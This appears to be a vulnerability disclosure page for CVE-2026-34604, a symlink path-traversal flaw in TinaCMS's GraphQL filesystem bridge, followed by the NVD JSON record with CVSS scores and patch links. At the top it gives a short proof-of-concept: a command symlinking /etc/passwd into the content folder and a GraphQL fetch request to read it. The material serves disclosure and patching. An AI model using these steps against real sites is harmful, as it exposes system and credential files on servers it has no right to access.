CVE-2026-34604

// PoC Concept for CVE-2026-34604 // Scenario: Attacker creates a symlink inside the allowed content root // 1. Create a malicious symlink inside the repo (e.g., via git or upload) // Command: ln -s /etc/passwd content/posts/exploit.md // 2. Request the file via the vulnerable GraphQL API // The path 'content/posts/exploit.md' is valid in string check, // but resolves to '/etc/passwd' on the filesystem. fetch('/api/graphql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: ` query { get(relativePath: "posts/exploit.md") { id system } } ` }) }).then(res => res.json()).then(console.log);

{"cve": {"id": "CVE-2026-34604", "sourceIdentifier": "[email protected]", "published": "2026-04-01T17:28:41.280", "lastModified": "2026-04-07T19:08:26.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tina is a headless content management system. Prior to version 2.2.2, @tinacms/graphql uses string-based path containment checks in FilesystemBridge. That blocks plain ../ traversal, but it does not resolve symlink or junction targets. If a symlink/junction already exists under the allowed content root, a path like content/posts/pivot/owned.md is still considered \"inside\" the base even though the real filesystem target can be outside it. As a result, FilesystemBridge.get(), put(), delete(), and glob() can operate on files outside the intended root. This issue has been patched in version 2.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ssw:tinacms\\/graphql:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "2.2.1", "matchCriteriaId": "C7C5E716-5EA4-499D-B5C0-864632E2620D"}]}]}], "references": [{"url": "https://github.com/tinacms/tinacms/commit/f124eabaca10dac9a4d765c9e4135813c4830955", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g9c2-gf25-3x67", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g9c2-gf25-3x67", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}